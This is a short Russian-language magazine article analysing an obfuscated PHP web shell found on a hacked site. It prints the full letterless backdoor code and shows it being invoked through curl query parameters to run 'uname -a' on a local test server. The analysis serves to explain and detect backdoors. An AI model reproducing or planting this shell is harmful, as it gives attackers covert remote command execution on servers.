Хакер #305. Многошаговые SQL-инъекции
Администратор одного из веб-сайтов жалуется, что его сайт подвергся взлому. Он обнаружил PHP-шелл, в коде которого не было ни одной буквы или цифры.
@$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_; $_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__]; $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] ); $_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] ); $_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ]; $_=$ $_[$__+ $__] ;$_[@-_]($_[@!+_] );
Админ просит объяснить, что это такое. Специалисты компании Sucuri объясняют, что суть бэкдоров в максимальной скрытности, поэтому их авторы часто прибегают к необычным методам обфускации. Например, первая строчка @$_[]=@!+_ интерпретируется как array(true).
Код разбили на строки для ясности.
Для понимания попробуем выполнить его. В результате выполнения выскакивает ошибка.
PHP Notice: Undefined offset: 0 in /shell.php on line 16 PHP Fatal error: Function name must be a string in /shell.php on line 17
Судя по всему, shell.php ждет аргумента для 0 в коде $_[0]. Исследователи обратились к шеллу с аргументом system():
$ curl 'httx://127.0.0.1:9999/shell.php?0=system'
Ответа не было, но в логах сохранилось сообщение:
PHP Warning: system(): Cannot execute a blank command in /shell.php on line 17
Очевидно, функция system() ждет аргумента с валидной командой для исполнения на сервере. Поскольку ее нет в коде, то ее нужно передать еще один параметр в запросе.
$ curl 'httx://127.0.0.1:9999/shell.php?0=system &1=uname %20-a' Linux linux 3.7-trunk-amd64 #1 SMP Debian 3.7.2-0+kali8 x86_64 GNU/Linux
Бэкдор в действии.